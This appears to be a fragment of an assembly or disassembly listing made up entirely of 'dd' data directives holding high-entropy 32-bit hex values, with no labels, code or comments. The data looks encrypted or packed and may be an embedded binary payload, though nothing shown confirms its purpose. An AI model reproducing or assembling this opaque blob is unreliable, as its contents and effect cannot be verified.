		dd 46766426h, 0D7180E84h, 6E74C1E4h, 682015A8h,	9CAE484Fh
		dd 178C62F8h, 0CC357958h, 51DFFFC0h, 193C3D0Ch,	0D4180939h
		dd 0A0A077C1h, 0C79428B8h, 65639B2Dh, 6014E4C8h, 9462095h
		dd 17A85080h, 4070A804h, 0E65431EAh, 732601ACh,	7F58D985h
		dd 9AD842C1h, 0CF1BF4A0h, 189C3C79h, 9476838Ah,	0F253E681h
		dd 0E2FFFF7Bh, 1981C02Ah, 0D154B1B4h, 84D41978h, 0A43CE3FDh
		dd 0FF014920h, 0D2F34A8Bh, 81A670BFh, 22F91EBCh, 6A60B279h
		dd 1B4C2019h, 45BD01D0h, 4D128FE9h, 7DDE60F9h, 7256ECE7h
		dd 0C98C0C1Ch, 0D4126E64h, 8588DCCBh, 0A1F273C0h, 0B106059Ah
		dd 33A0B534h, 0F79C27E8h, 34017D6Ch, 777DAD73h,	0A82017C1h
		dd 0E0429587h, 7DC547Ch, 0F0A89E2Eh, 0CB3600B5h, 34244FF8h
		dd 6882B012h, 0A746E470h, 0C4101B90h, 3EFD3FAEh, 0FB3216F4h
		dd 0C85C3E08h, 631065BAh, 489FB881h, 61E27023h,	0B5DF033h
		dd 18409890h, 0CC0C4DE2h, 98D073ABh, 53F211DCh,	6FFCC324h
		dd 0AA73D964h, 0C901D07Ah, 2A39909h, 0DC5ACE07h, 3C74772Ah
		dd 143F3120h, 1081803Bh, 2C45609Eh, 96281C3Ah, 0BE90DC26h
		dd 0B72B320h, 0D995EB74h, 0B656A4A1h, 9DCF027Eh, 846011E8h
		dd 0A3C5B83Fh, 0CA4FAC20h, 8BB30066h, 49E4C44Dh, 98A8B206h
		dd 203B9FBh, 0B709F3BDh, 27EDA031h, 0F2BE1E12h,	0A80DD2F5h
		dd 0C66225E8h, 56D8B644h, 14CD446h, 0C910AE00h,	0FB634914h
		dd 724EB809h, 60E8ED11h, 0FAA69150h, 0E3BE0714h, 8572EB8h
		dd 80DA1197h, 0C29708C0h, 0C10BDF83h, 0F00F01CDh, 889A95C8h
		dd 2F79ECD1h, 0D4388718h, 40D5A7EBh, 25BF560Ch,	5C536BC2h
		dd 12D63D0h, 9EB0E830h,	84289DE3h, 0BD686B58h, 0D7C81DAFh
		dd 0D8F24Fh, 10E0B6C0h,	0A7C468h, 9D84D71Bh, 1E59A192h
		dd 0D5E5F202h, 62129A5Ch, 2DB4D4FCh, 5961F06Dh,	206B1D24h
		dd 0C142F600h, 15B2A005h, 0C8C11E0Dh, 0C2C69C3h, 0F5831302h
		dd 0D474F0A4h, 8B3F3903h, 98EC8160h, 5C6F9470h,	0AF90FC73h
		dd 0FFF1C845h, 0B0819ACh, 0B46FD951h, 75653F40h, 92F15167h
		dd 249E49F4h, 0BE5C8891h, 286D4A4h, 61A0CEC7h, 0D8300355h
		dd 60B8C4EBh, 80C49BD6h, 0DC2F9E99h, 42A62731h,	7B565060h
		dd 6359A1C1h, 6430B117h, 60B80B37h, 0EC827E82h,	84438FAh
		dd 51C36E12h, 4E3E0C80h, 2DACB48Ch, 85E4F0E5h, 0D1FF760h
		dd 0CEBED500h, 6641B3ABh, 60F325FEh, 689098C6h,	0BFC35C04h
		dd 28F969A3h, 0F408F1B9h, 102739F2h, 112C6004h,	12C87BDCh
		dd 6E2513EFh, 6ED010BCh, 2BC0CBCFh, 0EA396356h,	903827BDh
		dd 6020E072h, 76B71E0h,	50D6ECF5h, 0FD806451h, 8A2A0098h
		dd 8D2B2DF1h, 6CD500CEh, 5A4FBA75h, 110943FDh, 2A9554Ch
		dd 565F4288h, 2F465E90h, 0F61C0A76h, 84ACF9E3h,	0E402AFB0h
		dd 0A35EC3A0h, 0A7484401h, 188061E2h, 9121CFD7h, 0D490FF46h
		dd 4084B00Bh, 7B44D1DEh, 32FE60D4h, 71CE0331h, 0D03DFB0Ch
		dd 0F856C5A2h, 6ED32174h, 92066B80h, 2CE7DFh, 9BEFFE5Ah
		dd 0A3AECDBFh, 49E52FCh, 3FAE465Eh, 282280B3h, 5B19CDDFh
		dd 0FB9B00FFh, 25A4AACAh, 0A14C3F02h, 58CD4A0Ch, 511D2872h
		dd 14DAC02Ch, 0CD2F0365h, 263C471Fh, 741B28F2h,	0F100DC88h
		dd 0A904ED94h, 0B601EB9Ch, 27522478h, 31CB1C64h, 0CAD60B66h
		dd 761CC974h, 0C453E1A5h, 71F4D371h, 1DC300D8h,	3FAC4514h
		dd 58670E56h, 7C13C978h, 0BCB5CCA0h, 0C1F1BC66h, 0BF28C82Fh
		dd 2BB74E1Fh, 3BA9B200h, 3CA8062Eh, 0B98FAAC8h,	46A4B338h
		dd 0C02CB810h, 729F684Ah, 0CB3800A8h, 57FBB86Fh, 0AF904B6Eh
		dd 1C74BBE4h, 20637D25h, 155491A0h, 5329CD6Bh, 63180021h
		dd 48C7CAC0h, 71496AC8h, 0E592BD98h, 5B3482F8h,	6CC80705h
		dd 86040087h, 0A9EF2E11h, 0CD05C8ADh, 485FC075h, 0C06BFC08h
		dd 0F6108656h, 0B02CB25Fh, 87AE09AFh, 94022428h, 0F8EC9058h
		dd 0F31070F2h, 0CE023C5Bh, 4864E1C3h, 7A50405Eh, 68208072h
		dd 6D4AA572h, 7423848Dh, 7430D7A2h, 0B1C0046h, 5A4EFF9Dh
		dd 6013A69Fh, 7CC081E3h, 974741B2h, 22A52018h, 98B1F728h
		dd 3EFB0A18h, 38B850h, 742AD7F4h, 3090E4E3h, 0C304BF73h
		dd 1EE0989Dh, 0A0C8E08Bh, 0D979A2C0h, 0AE9E04CBh, 907A5618h
		dd 1A912834h, 704E7400h, 8E59BE36h, 0BF07F0A0h,	2CDE0C20h
		dd 8707F2F3h, 0BAFEA42Fh, 14160F00h, 0DC03094Ch, 0D8511B50h
		dd 1A0B9FA6h, 21406869h, 0AF5080DAh, 4C9D7C98h,	3CA00C0h
		dd 55176AE9h, 650ED711h, 21579FDh, 0B2536BC5h, 7080DB98h
		dd 56304307h, 54F0716Dh, 1B8B00BDh, 26825781h, 0F200E7BCh
		dd 5A3558DDh, 0B0B2C587h, 9E797EB4h, 60352F34h,	2691D686h
		dd 0EBBF0589h, 80629ED4h, 5F667FC7h, 8B75F93Ah,	923F7978h
		dd 8FA440D4h, 0AC568254h, 0D1B86162h, 15E9022Ch, 0E6C0DBACh
		dd 0A5F4A922h, 0BDF7FA17h, 5225CC42h, 2D250F7Bh, 0FEB70972h
		dd 0F6121050h, 0A09B58AEh, 0F648D580h, 2041B1F3h, 6E625888h
		dd 1239F21Fh, 14BC1441h, 18CADE8h, 76EE3023h, 2CD54DC3h
		dd 0C8B12DC0h, 13522498h, 12781AEDh, 0C87C8BA4h, 4DCAC0D5h
		dd 4209E36Ah, 59869DC7h, 49188380h, 0A194AF82h,	0E4DB2F00h
		dd 0D87EF8Fh, 782C0035h, 6616A42Dh, 0B4A26AAEh,	521840h
		dd 0D79FF2ACh, 4B6BDD97h, 8126AB00h, 67878A98h,	0E566169Eh
		dd 15BCA01Ch, 948BF95Bh, 970063DDh, 92F49E5Bh, 66D7050Fh
		dd 0FC3D798Ah, 1C21C17Ch, 0CC725694h, 0BEA4750Eh, 0C190B12Ah
		dd 3841E36Eh, 90DD4A40h, 7AE27862h, 2DF3330h, 66A56BA1h
		dd 905C63A9h, 75D2B151h, 638A8BDh, 2BB5CBF4h, 0A36B09B0h
		dd 5453529Bh, 0F501F70h, 0C5E7A052h, 687995EBh,	85A06E25h
		dd 637BC484h, 6DA81465h, 0EA84AC21h, 0EB96024Fh, 0F9B8D8A1h
		dd 7868344Dh, 38C82ACh,	3C40159h, 489046B7h, 902EA7C1h
		dd 4F1F5DCFh, 0D88DD74Dh, 0F590302Bh, 763E31CDh, 0E2779356h
		dd 986D44B0h, 721C4558h, 30D5F250h, 41004AF7h, 0D7D3DC18h
		dd 113CF26h, 0A5A27924h, 79B417EAh, 5CAD808Ch, 3A01462Eh
		dd 41807205h, 39256428h, 30253A56h, 0E7686DB8h,	0FA755242h
		dd 6E51A05Ch, 0FE2021h,	74449B2h, 608D7B07h, 4080B309h
		dd 5C4DF9E5h, 0BE174411h, 0FF80839Ch, 206881E0h, 271E9400h
		dd 0BF49EEAAh, 987E4836h, 72BAB282h, 38C42Bh, 0CDFE4CEEh
		dd 70A8FCECh, 88F89D95h, 85606ED7h, 0FAAB401h, 0F9DB66B8h
		dd 0C177D941h, 0E544E4E3h, 0DEBE3500h, 6C3ED4ADh, 40B949CBh
		dd 6AF8C609h, 15E424C5h, 60014161h, 9D1E8BB4h, 79D69FA8h
		dd 3480CC94h, 96751620h, 0D7B81F40h, 1EECB20Eh,	59D2BE30h
		dd 0A4F2ECE3h, 2E94C630h, 47DBA1h, 0DA917339h, 9A137D49h
		dd 98E21F40h, 0DC952F00h, 0BFE8C78Fh, 0BC69AA0Eh, 0B49FC113h
		dd 252E67CBh, 4068F36Ch
		dd 0C6603994h, 0E0A63418h, 17C890FAh, 4301E396h, 0F6EB8214h
		dd 96C7CDC1h, 0EC219028h, 4ADCF2A6h, 0D9462505h, 4944C059h
		dd 0D7C8A88Fh, 2EB7CBC0h, 76C20031h, 670B1938h,	8E17C970h
		dd 2CCB6D02h, 0CC0063DDh, 81147EAh, 1285E29Dh, 2091EE1Bh
		dd 2D92CE90h, 3C0017E8h, 246A68AEh, 58A13A98h, 120974C1h
		dd 5445EEC7h, 4460A4E4h, 0EA002E84h, 0D5A7FEA5h, 121B3CA2h
		dd 88E9CB76h, 9F2C3FA4h, 47A7D883h, 8F516FD4h, 2ED9C0B3h
		dd 3307BDA7h, 938827A1h, 0EEE09160h, 4F6D0F1Bh,	88448E13h
		dd 0C0A1C7A0h, 15734D3Dh, 0B21CB16h, 48B27452h,	0B2B10C00h
		dd 0D3353FBBh, 0CFB38902h, 0E7F473FBh, 6F2E4274h, 0F0DE718h
		dd 3B13C954h, 5CC266A3h, 0A755B5F0h, 558EA13h, 15B2A8B3h
		dd 55A130h, 0CB49DF52h,	0EE5A12A2h, 393ACF00h, 0BC68584Fh
		dd 52B2755h, 21C2F8E5h,	74B0186Fh, 3F2FF509h, 27BC73B5h
		dd 2FE520E5h, 0B01A2820h, 45C327F6h, 56300C82h,	18815742h
		dd 5E5DE7CBh, 5F07DC30h, 8A550967h, 4CED0095h, 9DAAC0B9h
		dd 5317F700h, 0EC399031h, 1E1B0125h, 19C36089h,	0C08E3A2Fh
		dd 0A3C0A1C8h, 0BAB6AD7h, 57399AD0h, 5113F496h,	0C0426AAFh
		dd 5CE3E5C4h, 51B8CEF0h, 721E4D6Dh, 6300CB55h, 0EAA30810h
		dd 25CCBEE3h, 0B23345Ah, 1D611ACh, 70E93F90h, 2888F0C0h
		dd 0F4125FEFh, 255058E4h, 288F42AFh, 305C3F69h,	7646A11Dh
		dd 4E1863EEh, 6628F0C0h, 0B0F34501h, 77512FF4h,	208542E5h
		dd 91E1EBF6h, 50249068h, 2F22A3C4h, 4770A860h, 0B56E97C4h
		dd 48576CA2h, 0BB8EE501h, 259301D8h, 0B8C0DD4Fh, 0C775361Ch
		dd 45C16F00h, 0C6793EF5h, 39E0A8CDh, 0F4084C18h, 0EFCFD7C0h
		dd 68050363h, 9EA7507Dh, 7707AC21h, 0A3B2E98Bh,	0CBF62C10h
		dd 0F8CABD20h, 0F40CA1BFh, 3FA19F1h, 68F3A63Eh,	0F9FBE116h
		dd 9BD6445Ch, 0D13F2006h, 0C04D0391h, 8167DDFDh, 18B6E006h
		dd 7D521AF3h, 0FAA328B1h, 70C90F78h, 9D709F0h, 0B4F0CEF3h
		dd 6F815660h, 165ACDFBh, 6FBAC53Dh, 886D004Ch, 2541DBD3h
		dd 7C0600CEh, 34D5EEBCh, 0B458BD2Ah, 0BC6E5E10h, 2DB92201h
		dd 3D573BA9h, 0A49F0064h, 0EF376C46h, 2E26082Bh, 0AC113E4Dh
		dd 618A4E00h, 3FA2CD94h, 582D0A00h, 0BD6A3493h,	9B470239h
		dd 6E70E4B5h, 0C16B085Eh, 73019180h, 78167F01h,	3AE00CA6h
		dd 30004124h, 99FDCA93h, 4AEB74B4h, 8738C2A5h, 0C9713CD3h
		dd 1C0D29C4h, 800391CFh, 0FF66324Ah, 4C12F1E3h,	0B0E102C2h
		dd 0C874CE3Eh, 0A1E3C07Ah, 0F648247Dh, 0DF02829Ch, 0F9F4044Ch
		dd 98B64B94h, 0FF92DFE0h, 2C90A32Eh, 44C9C802h,	7AF05CFCh
		dd 0DE59E840h, 0EC88164Ch, 5C278CACh, 18648Fh, 181CBE25h
		dd 722670C2h, 956D5404h, 0C48CF727h, 0AEC34405h, 10732622h
		dd 2D5EDE3h, 67F2231Bh,	20C07AA7h, 0F4FA9222h, 551CC295h
		dd 3400D03Dh, 0F8D0DEFEh, 0F1A90069h, 2DA5688Eh, 3D37A0E5h
		dd 898E082Eh, 191C0C2Fh, 2480BF10h, 0CA7989BCh,	0CBEC9206h
		dd 0B7882729h, 0B8E5CC82h, 91449D57h, 0AD91806Bh, 5C808E0h
		dd 98193924h, 65CCC16Bh, 580826F6h, 8EA1B898h, 75774100h
		dd 6CEBDC17h, 0E8CD4DCBh, 10A63402h, 0F8E7D0B9h, 50678364h
		dd 473157E1h, 1EC07900h, 0E0F5C999h, 1F603E72h,	7A6E560Bh
		dd 0C52964DAh, 518B9825h, 76AC5CBFh, 8B096246h,	0A0483079h
		dd 2114FE75h, 883424ECh, 0D37810B8h, 25A094A6h,	0C509DA0Dh
		dd 79E0E5C8h, 51164674h, 29EBF41Ch, 8C777877h, 398BE930h
		dd 207898CFh, 1E018523h, 0A751D7F3h, 8C406066h,	3EBC1FEFh
		dd 0E903EA49h, 0B3277519h, 6B7F92C9h, 84C8348Eh, 9A9C28C3h
		dd 694AE037h, 7D83378Eh, 110EE021h, 0CF391C5Ah,	9E3001Bh
		dd 2CED52D5h, 30781FBFh, 8CB4024Ch, 34F025CBh, 35EC1858h
		dd 706FF91Fh, 58561C00h, 0CFF588AEh, 33349909h,	187957h
		dd 0A88FC170h, 6874D7F4h, 0F125FC96h, 944D2764h, 964FA8C0h
		dd 0EE6E0EE3h, 4E9EAE29h, 0F8006399h, 0BF0FE96Bh, 491AAC00h
		dd 0CBB31C79h, 0F8A09D55h, 0DF9C156Ah, 12A46D00h, 0DC4CFFC7h
		dd 0F4681CD6h, 262CB10Fh, 58982B17h, 63B50420h,	0ADE7BBE2h
		dd 3C8A923Ch, 67C22FC8h, 0B150E0B0h, 9C9080D2h,	0D8F76E4Ah
		dd 0B1D3A6A0h, 0AC246909h, 0A5F473D1h, 0D3592C51h, 160E1A18h
		dd 6250288Bh, 5CFBD4F4h, 0A0504BE0h, 0E09DD84Bh, 0C7019441h
		dd 0E2BE1989h, 6427E4FEh, 615B0FB4h, 5F696402h,	945C740Bh
		dd 0ECA24113h, 18F2A900h, 865AE310h, 8A4BFB00h,	0CB01580Dh
		dd 98F34C77h, 5C306E89h, 0D25F3C7Fh, 0A9A3CC80h, 22903072h
		dd 2965C9F1h, 0A85FE31Eh, 9396058Eh, 0A2BEC483h, 64A05776h
		dd 6B4F7069h, 5500BFF8h, 9FCECBB2h, 0B0C5106Eh,	8ACF1DCCh
		dd 840789E7h, 65EB105Ch, 6063E438h, 0F3B3B0CFh,	1C4E7C22h
		dd 0F79D0A44h, 0F83BF6h, 72EDD402h, 79B5E75Fh, 0C02F1D4Bh
		dd 0C06ED310h, 6109D9EFh, 428FF5Dh, 0D0DD2080h,	39007FA6h
		dd 2130A290h, 2E655E94h, 85605FC4h, 0F8F3F215h,	0E8B2D630h
		dd 230ACB2h, 20390209h,	0F6563F36h, 0E7CF0CE8h,	75463517h
		dd 88100056h, 135D001Ch, 0CEE6044Dh, 0FA260037h, 78F89076h
		dd 6F03A280h, 0B72E41FEh, 7DC0B2CBh, 7B116C1Fh,	0C4025889h
		dd 3001C429h, 226FA676h, 88707908h, 97983801h, 0CEF71F50h
		dd 0A5BCCC3Bh, 0A1771A10h, 0F0399000h, 1B192686h, 35CB6E04h
		dd 0B4B816D0h, 7320D1E4h, 0FAA30068h, 4866619Bh, 7977C79Fh
		dd 24B04B64h, 0E671D21Dh, 6DEAE074h, 8C67002Fh,	21E2459h
		dd 72D7C11h, 67C8CF76h,	21C300F2h, 44BCAB1Fh, 1E4B0CC0h
		dd 0CE540043h, 7767900Eh, 0A5777FE3h, 48AE6407h, 321F7E24h
		dd 0BAB218B8h, 0BECE2516h, 6F250870h, 90ECC592h, 68AFB1CBh
		dd 0C86129A5h, 10184146h, 6249A597h, 61EC56FCh,	2DFB3E7Eh
		dd 0E6B8B8h, 97072552h,	0CC390BDh, 0F3A96125h, 6B3C8DD0h
		dd 9CDB2B59h, 51AA8480h, 350FC58Eh, 0A08C651Fh,	70CC0750h
		dd 0E09497B9h, 3E61A161h, 3C9276h, 0D644CC4Ah, 0C089EA4Bh
		dd 4C6F2Ah, 20EACAB8h, 4B5749EDh, 2A489D87h, 7B806C9Ah
		dd 0A63F81EAh, 891EFA38h, 5C289C97h, 3876CB1Ch,	61C816D4h
		dd 686C0062h, 4CE745A5h, 11209D9Fh, 0FD4D807Ah,	4B04CF90h
		dd 6F8CCD4Fh, 784C820h,	4849005Dh, 2281B0EEh, 0BC4BF986h
		dd 0BC11F88Ch, 1D17D600h, 8D003F61h, 9ED6E655h,	22A31310h
		dd 988B9ABh, 5C8D363Dh,	3979E258h, 0BB123CD4h, 8D258B8h
		dd 61823E34h, 0C08FE5C9h, 5BFCF0D4h, 0B2B8E338h, 0CE7930AFh
		dd 0B9105909h, 0A8C07145h, 74E10490h, 0E83C86FDh, 30EABD70h
		dd 9A73F4D3h, 0E48C5700h, 5EBFA384h, 241E0E69h,	0E7B2F6BAh
		dd 549A5FB8h, 13E0AC81h, 0D50FE503h, 58106ADAh,	16C0228Ch
		dd 0A2025756h, 12244C90h, 0B4295A4Eh, 79CAD9F3h, 7238777Eh
		dd 0DCD01256h, 1648BF49h, 0BC6AC367h, 0EB01AF23h, 60C6A751h
		dd 0C2113841h, 4E576600h, 0CBEC89C1h, 0A004C645h, 0B84399E0h
		dd 0FE3061E2h, 0B8524D1h, 1EEE0720h, 48658620h,	0F796F44h
		dd 0DC930173h, 0F251CAC0h, 9C007646h, 0A0961DC9h, 9DA6B306h
		dd 0B856D8CAh, 82ECB840h, 1C934C0Bh, 0E8529B14h, 138CADE8h
		dd 0A66ACBB0h, 90B228C4h, 1ECA3D20h, 692A5630h,	6442C2E0h
		dd 806A6D11h, 0A1751DD8h, 8A544Bh, 0A56E4079h, 5D9B2216h
		dd 41D2D0B4h, 6D900171h
		dd 7C883EA6h, 828F00FCh, 0E8FEFAA9h, 0F07CEEAh,	3EA1B6D2h
		dd 0F119831Eh, 0E8D0F44Ch, 4FF328E8h, 0E8585AF9h, 0DE0C54h
		dd 1015C554h, 0AC685B6Ch, 838CEE07h, 893002B1h,	0C205CB94h
		dd 57FA3EF1h, 0B9891456h, 0D8F68622h, 347A0078h, 0B236103Dh
		dd 6C13B72Bh, 84A02DCBh, 0EAA70962h, 4FE57F3h, 6B4676h
		dd 33F9C134h, 0E16077h,	3EEE358Ch, 78C9FF97h, 9D9EC409h
		dd 69B88168h, 0F5F066FEh, 27AD77ABh, 381D1E9Ch,	0C1867B11h
		dd 0C0C2B066h, 7D4426DFh, 828708B7h, 43302B78h,	5545A86h
		dd 4D174424h, 4C09AB73h, 60D9FFh, 52C54959h, 0E9128C21h
		dd 180177AEh, 0FF69D1F7h, 81A4DB3Fh, 0F497F687h, 8804C431h
		dd 7C6EEFh, 57ACE84Ch, 80702E77h, 61E129EFh, 0FE8830F4h
		dd 70829F5Ah, 0D8F8F98Ah, 1866F2Eh, 0FB8051B7h,	73F30835h
		dd 30D2E224h, 1C054ABAh, 2977653Fh, 0E680FCF8h,	4D7D428Ch
		dd 2F67C616h, 0AABCACBCh, 537D038Ch, 0B4079574h, 0E78C1900h
		dd 0EBBBA15Bh, 364A01EFh, 0B3ACD308h, 20B449BEh, 6595E090h
		dd 21E21AACh, 2DDC1874h, 6480D597h, 3A1E29F4h, 0CDF030E9h
		dd 4B1B2B80h, 7CA4C857h, 9A0E040Fh, 0AC856034h,	9CCE1563h
		dd 4F700B90h, 0D7F4A401h, 541E2E6Fh, 0E302A3C4h, 55275CA8h
		dd 0E49C04CEh, 7FE03ED4h, 2A50F83h, 58415663h, 30382BA4h
		dd 5D1A42DFh, 274BA850h, 24447094h, 0ECE05800h,	0F44EFE40h
		dd 5E80B451h, 0E9006146h, 0BD100F5Fh, 9ABF3D79h, 825DD6Ch
		dd 4430ABA9h, 143F9A18h, 9C7D6E56h, 0B4AEFF14h,	196C200Eh
		dd 68B72DBEh, 0B1D09E02h, 0C9085C1Dh, 0C552BC54h, 61A3C424h
		dd 0B6D8A148h, 2280B052h, 46B5795Ah, 0DB7AEB48h, 55480DCh
		dd 254F8335h, 50EF786Eh, 0C821F141h, 9FD85E70h,	0BE75DC18h
		dd 8AF3B16h, 0A305D80Bh, 3AB69080h, 0E50B4821h,	4509A25h
		dd 12DF9E09h, 919C5609h, 0CF505082h, 0F0F3B141h, 4AF396E0h
		dd 0C13CC2E1h, 1160147Eh, 0BDEBDD65h, 0BD4070C0h, 57FB4614h
		dd 759C01B0h, 0BE1CE187h, 0E99430h, 811AA9F8h, 162DE74Dh
		dd 0C5886F63h, 0ABCDC036h, 0A510C494h, 1278B83Eh, 0A4B25233h
		dd 0CCAC0200h, 72FD5A12h, 6D4440F9h, 6717F5C9h,	3804C0B5h
		dd 0A3016E62h, 80521BF2h, 0A5A7FEC8h, 0F8BB3EECh, 51D72DFAh
		dd 38401C5Ah, 0E4A495EEh, 108450D4h, 71255D3h, 9014466Fh
		dd 96037923h, 0FB9CB377h, 8474D1D7h, 0A5818F40h, 0A0BF52F2h
		dd 983C3014h, 0C735F482h, 0CD91D056h, 8CF24Eh, 6048D2B8h
		dd 362371h, 3E285906h, 5D5E0724h, 0D3EC7C0Bh, 945679h
		dd 884CBB85h, 0B6519401h, 417C00A8h, 0C225792Eh, 20DC6C92h
		dd 4DB54340h, 27544A18h, 22CE94CDh, 56C1BA12h, 10DF40B8h
		dd 7B00CD27h, 3F14CBFAh, 0F095607Ah, 0EF280C72h, 83301F43h
		dd 0FFF442B5h, 2439803Dh, 460878ABh, 0DB730585h, 55ECB466h
		dd 9BE9A4ABh, 0A2307363h, 0D2893060h, 1CC8694Ah, 0FD303F4h
		dd 0F6D1DF50h, 4379B288h, 0A767B43Bh, 0D8607BB8h, 0D04F06Ah
		dd 0D2D1EBF4h, 7C92C109h, 74B7FFh, 5A954A5Bh, 2E28A630h
		dd 1E95B45Eh, 0A06DBDB0h, 0D1CC03C2h, 0BC100194h, 0C5811131h
		dd 0B7C7E45Bh, 692373Eh, 0BE069FB6h, 97450029h,	0A9D328BAh
		dd 0D425FA83h, 5A707848h, 1210B215h, 0AC613279h, 162B3F28h
		dd 804CA9C4h, 257248B0h, 0B6DB010Ah, 235E55Ah, 5C3B7E7Bh
		dd 443213Dh, 85F795FEh,	76ACB8ACh, 0D0A4EB4Ah, 1949121Dh
		dd 23A43A6Eh, 306C03AFh, 0E0B6BA76h, 625722h, 0E71CE0A1h
		dd 0AE788472h, 65639D00h, 0A5AD06Bh, 40160173h,	0CC7FD6A0h
		dd 251C7C77h, 11FC6569h, 81E412ACh, 6B4F0CF3h, 7F640114h
		dd 0B05835FBh, 6A83708Ch, 0B4022521h, 9C5149Dh,	477CDC99h
		dd 0D08E004Eh, 0F907240Fh, 0A7A2E8AEh, 0CF1FEB97h, 0D69B4041h
		dd 4A36F480h, 6B60CD63h, 7D670C04h, 5A44AC12h, 6C8820A2h
		dd 467424A4h, 0B3590084h, 4AB7D7D8h, 95997733h,	3946D098h
		dd 0E8EAE92Ah, 12245D16h, 0DB184482h, 0B4C870ACh, 45B7A012h
		dd 28B1F805h, 0FE104EFFh, 0F4A14AB0h, 0E04CB62Ah, 0A473DEh
		dd 6430F922h, 0B65631AFh, 0C4600595h, 44013ABh,	0AD63B5A8h
		dd 7E6010E4h, 0C85CCA93h, 0C314C07Ah, 90EAC5E7h, 654AF0B2h
		dd 167D20A3h, 0ADB3F301h, 0DCE6D764h, 96B7AEE0h, 0D771C310h
		dd 0FC416B0Bh, 467C50D4h, 92451D84h, 0B8DE4641h, 3830C911h
		dd 0BF38E637h, 500150B7h, 6BD554D6h, 3CE0E330h,	10801839h
		dd 9DA13FC0h, 0AD38BD68h, 79C48F69h, 0F7C9E348h, 9FCFE856h
		dd 0E48C9519h, 5A093FD0h, 9865D2FAh, 0F58CBB4h,	67F93DBFh
		dd 779A8221h, 8F61C2AEh, 0C4307F78h, 4FEB948Fh,	0FE84D4F9h
		dd 4569020h, 450D6B9h, 472C22Ch, 4ADEAA5h, 0E04CA64Bh
		dd 79E78DC4h, 9A690B86h, 285666A5h, 60086F25h, 8BD4252Bh
		dd 0F09C6F00h, 41E981C9h, 491A09B9h, 0DC5B4B28h, 25945125h
		dd 0A4911017h, 42062D80h, 343DB414h, 894CB94Dh,	0F81322A5h
		dd 3AE74E8Ch, 0D023DCh,	12A969B0h, 0C01268F0h, 7C903879h
		dd 0E97701CBh, 8378DC2Bh, 0C0C06BB5h, 125A046Eh, 0E1FF8C60h
		dd 0A234330Ch, 0B6DC30A3h, 78F1EF02h, 0E96E57BEh, 0F838BF0Ch
		dd 28657B80h, 1301CCD6h, 0D3F9219Fh, 2E444Ch, 763FA01Ch
		dd 38C162CEh, 29CD09C0h, 84C48F2Bh, 6E376ED2h, 0B5802A4Bh
		dd 0C2796894h, 8DD79500h, 7A16036h, 4699C0B1h, 30C69289h
		dd 93B4B900h, 529BBA36h, 0B7AA1537h, 41BC8848h,	5EAA4804h
		dd 908C3477h, 81E32496h, 62B929Ch, 39BCFBE4h, 9712F498h
		dd 0B48828BEh, 809E2686h, 279C008Bh, 1A1D6B8Eh,	14B77400h
		dd 981605Bh, 0C8F50E22h, 7324F7FFh, 0D2C8BC55h,	86F2A0F2h
		dd 1EB6430h, 503B727Dh,	24BFC5E5h, 282C1BFCh, 0B96D60F3h
		dd 0DE6C886Fh, 7D343901h, 0F23FBCD6h, 32948A2Ah, 0FF57698Ah
		dd 0AD2EC8A0h, 65004E22h, 3BB8D4D0h, 9E8CEBh, 3CBBCDCFh
		dd 7237BA61h, 0DB91A917h, 41F71488h, 943B2A53h,	0A828E9A5h
		dd 7F052F1Ah, 1070D4F3h, 7D790BC2h, 0D48ECBFEh,	1278B8B5h
		dd 0AC63459Bh, 2124A274h, 0EAD0751Dh, 0A451B05Ch, 5882C1B8h
		dd 0D44C9B49h, 7369E854h, 578873BCh, 1F00FC02h,	0C334EBCFh
		dd 16E00C1Dh, 0A941A54Ah, 0D87BADC0h, 46001B98h, 80E1E43Bh
		dd 253C7F53h, 0F84E8F92h, 0A25E70Ch, 0F0F11878h, 3BBB2D7Fh
		dd 0B67834DBh, 59C201B0h, 561786E0h, 3968D429h,	2973F030h
		dd 1ED3FFC9h, 32AA87Eh,	27903718h, 0A46AD900h, 6EF39B41h
		dd 55D400B3h, 63DF99DDh, 0F54BCBF6h, 7F624082h,	9402681Ah
		dd 39068E52h, 4E3F1550h, 0A74AE084h, 0F4B64F40h, 0E280F8A2h
		dd 0A577FFC3h, 0A20F0216h, 0AE31DC80h, 2530941Ah, 0B2278446h
		dd 104CD9BAh, 65CE82F2h, 54AD42E2h, 38746974h, 0F52100DCh
		dd 84341B8h, 70286D64h,	1D5C6CFFh, 50552D14h, 18E597ECh
		dd 0F06063E4h, 6B25305Eh, 70D8FB8Fh, 7D059DA8h,	0B5FBF618h
		dd 4493ACA0h, 0CDA07B2Dh, 8800CAD9h, 79CD8430h,	0FABE3C5h
		dd 58090B08h, 1B6039E2h, 17EBD056h, 81AA1140h, 0A2C3CEE7h
		dd 5A34DD6Ah, 127CC0A8h, 90424364h, 0CF90072Ah,	32E5EA25h
		dd 465586FEh, 801620ACh, 0C29D54ACh, 243A7D8Ch,	1550107Bh
		dd 0F9124F2h, 70830FACh, 0D8AA0090h, 0C3AFC4BEh, 5E30F4Dh
		dd 96E14550h, 2BAE03FCh, 10095435h, 29C0161h, 6F3FC695h
		dd 0F86D1254h, 4D8E10E2h
		dd 80903B90h, 3EF7B980h, 0BF5BF97h, 1703490Bh, 9CD37CABh
		dd 7DFE4E70h, 0D3370BD4h, 70565BEEh, 805835EBh,	1B8141BFh
		dd 98023908h, 0F3D7A7A8h, 25F85667h, 6F45C7Ch, 56AB110Fh
		dd 1D7BC167h, 17F63201h, 0E5D107E1h, 3E1869E1h,	4A55764Ch
		dd 0A51620CAh, 0A2B4A847h, 0BFB0204Ah, 41825AE2h, 39A7C194h
		dd 2993C0F9h, 0FBA010E7h, 2012CCDAh, 28E24C3Eh,	5B2590C0h
		dd 4D958309h, 44D3C0B4h, 4700FC2Ah, 0DB72A207h,	4E3FEBDCh
		dd 0C5289A1Eh, 20AA35C9h, 0C279CFA4h, 3C04FB58h, 4E184081h
		dd 34CA2A8h, 9BBEBAF0h,	752AE85Ah, 77B10B96h, 48582745h
		dd 2211CB08h, 0CDB88217h, 0F0D869DAh, 60204D97h, 53B22E84h
		dd 0A7542002h, 550987EAh, 4D40584Fh, 0F8F8C737h, 68811CE4h
		dd 27AE6EC9h, 0B7BD7CF8h, 6C6A00C8h, 2735EBF4h,	36BC7CA0h
		dd 0EF186F00h, 0E548962Ch, 0EDD0A29Fh, 0FDCEB4h, 8FF33221h
		dd 50099FFFh, 0D6A491AEh, 0EE5D128Ch, 3A00287Ah, 0E184F87Eh
		dd 4900EC68h, 0F2D61291h, 4C03FBF1h, 408180A4h,	90A3E909h
		dd 5C625670h, 0A3779C57h, 0A233F378h, 40B7DD6Fh, 759EC381h
